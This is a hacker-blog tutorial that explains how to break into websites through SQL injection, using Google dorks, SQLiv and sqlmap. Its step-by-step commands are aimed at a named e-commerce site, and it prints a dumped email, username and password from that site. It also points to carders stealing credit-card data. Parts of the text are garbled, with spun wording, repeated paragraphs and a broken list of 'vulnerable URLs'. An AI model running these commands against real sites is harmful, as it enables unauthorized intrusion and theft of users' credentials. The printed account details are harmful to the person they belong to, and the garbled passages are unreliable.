Be a part of our Community. Click Here

How to Hack A Website Using Sql Injection: The Ultimate Guide

Hi Friends I Am dEVIL And in this article I am going to show you how to hack website using sql injection. SQL INJECTION USING SQLMAP IN KALI LINUX.

Hi Friends I Am dEVIL And in this article I am going to show you how to hack website using sql injection .Sql Injection is a very useful technique used to test the security of the database. Generally It is one of the best way of attacking a site, it just takes a second to execute. In this article we are going to do some most common SQL Injection techniques, i will explain you about these techniques. I am quite serious about SQL Injection, I am Devil but can't hurt anyone, I'm not a cyber terrorist i just want to help those who are innocent. Now let's talk about what is SQL Injection?



Introduction To SQL Injection

SQL Injection is a technique that allows someone to execute queries in order to obtain confidential information from an application. In this article I am going to show you all the step by step how to hack website using SQL Injection The Final Answer This is the final answer which I am going to show you. If You Don't Know I Will Explain Every Detail Of the Sql Injection ( SQLi ).


How To Find A Vulnerable Website

In order to Hack A Website using SQL Injection,You need to find a vulnerable website or process . For example ,When we see a website where we can attack,then we have to find vulnerable URL in website and they are millions and millions of them. So if someone find any vulnerable URL then we can extract the malicious code and steal information. So I found few vulnerable URL and I have analyzed that vulnerable URLs . List of vulnerable URLs http://website.com/website-com-submit.php?url=http://www.doctreatspain.com/com-submit.php&rd=--/submit.php&1 http://www.website.com/website-com-submit.php?url=http://www.doctreatspain.com/com-submit.php&rd=--/submit.php&1 http://www.website.com/website-com-submit.php?url=http://www.doctreatspain.com/com-submit.php&rd=--/submit.php&1 http://www.


SQL INJECTION USING SQLMAP IN KALI LINUX

Before we do the injection attack, in fact we must make sure that the server or target features a database security hole. To discover database security holes, there are several methods we will use. Among them, Google dorking, is employed mostly by hacker and penetration testers. Luckily there's a tool that's ready to do this automatically. But we've to put in its tool first. The tool is named SQLiv (SQL injection Vulnerability Scanner).


STEP 1 : INSTALL SQLiv on KALI LINUX

Type below commands in terminal to install SQLiv:

~# git clone https://github.com/Hadesy2k/sqliv.git ~# cd sqliv && sudo python2 setup.py -i


Once SQLiv is installed in your Kali Linux, it's stored within the path /usr/bin/sqliv. Which, you'll call directly from the terminal, by typing ‘sqliv’. Now lets take a glance at SQLIv features.



We found eight of hundred URLs scanned and considered as vulnerable against SQL injection attack. Save the URLS into text editor for further steps.Save the URLS in a text editor for next steps.

STEP 2 : FINDING SQL INJECTION VULNERABILITIES

We will use Google Dorking to scan and find the SQL injection hole in targets. Lets take a simple dork, and let SQLiv scan trough every single target and look for an ecommerce vulnerability at the following URL pattern ‘item.php?id=’. To find other patterns just google for “google dork list”.

~# sqliv -d inurl:item.php?id= -e google -p 100

By default, SQLiv will crawl first page on search engine, which on google 10 sites per page. Thus, here we define argument -p 100 to crawl 10 pages (100 sites). Based on the dork given above we got a result of vulnerable URLS that looks like this:


We found eight of hundred URLs scanned and considered as vulnerable against SQL injection attack. Save the URLS into text editor for further steps.

STEP 3 : SQL INJECTION USING SQLMAP

Once we got at least one SQL injection vulnerable target, next we execute the attack using SQLMap. I take one of them to be a sample here. Firstly, we need to reveal the database name, inside the database has tables and columns, which contain the data.

Target URL :  http://www.acfurniture.com/item.php?id=25

A. ENUMERATE DATABASE NAME:

Command pattern:

~# sqlmap -u “TARGET URL” --dbs

-u / --url : Target URL

--dbs : Enumerate Database/s name

So, the command compiled would look like this:

~# sqlmap -u “http://www.acfurniture.com/item.php?id=25” --dbs

From the command above, the result should be look like this


We got the database name “acfurniture”.

B. ENUMERATE TABLES NAME

Command pattern:

~# sqlmap -u “TARGET URL” -D database-name --tables

So, the command compiled be like this:

~# sqlmap -u "http://www.acfurniture.com/item.php?id=25" -D acfurniture --tables

The result should be look like this:


So far, we can conclude that the arrangement of data is, the site acfurniture.com has two databases, acfurniture and information_schema. The database named acfurniture contains four tables: category, product, product_hacked, and settings. There is no compromised table name, but, let’s investigate more. Let see what is inside settings table. Inside the table is actually there are columns, and the data.

C. ENUMERATE COLUMNS

Command pattern:

~# sqlmap -u “TARGET URL” -D database-name -T table-name --columns

So, the command compiled be like this:

~# sqlmap -u "http://www.acfurniture.com/item.php?id=25" -D acfurniture -T settings --columns

The output should be look like this:


The settings table consist of 6 columns, and this is actually a credential account. Lets dump those data.

D. DUMP DATA

Command pattern:

~# sqlmap -u “TARGET URL” -D database-name -T table-name -C columns --dump

So, the command compiled be like this:

~# sqlmap -u "http://www.acfurniture.com/item.php?id=25" -D acfurniture -T settings -C username,password --dump

Or you can also dump all data inside the table, using command:

~# sqlmap -u "http://www.acfurniture.com/item.php?id=25" -D acfurniture -T settings --dump

The output should be look like this:


Email : jackie@jackoarts.com

Username : Handsome

Password : 9HPKO2NKrHbGmywzIzxUi

Okay, we are finished dumping data in database. Our next errands are, to discover the entryway or admin pannel, administrator login page on the target site. Before do that, ensure whether that that password (9HPKO2NKrHbGmywzIzxUi) is encrypted or not, assuming this is the case, then, at that point we need to unscramble it first. That is another point, cracking and decrypting.

Conclusion

Indeed, even here we are not really hacking into the objective site, basically we have taken in a ton about SQL injection utilizing SQLMap in Kali Linux effectively and we dump the credentials account. This procedure is utilized generally via carder (hacker who is looking for Credit Card account on E-commerce sites) which focusing on Financial, banking, shop, or web based business destinations which store their user credit card information.


Devil Hackers

To Know about Hacking , Android And Kali Linux Then hotsprings Follow  Us hotsprings

   

1 comment

  1. Very nice but how do I use kali linux on android device?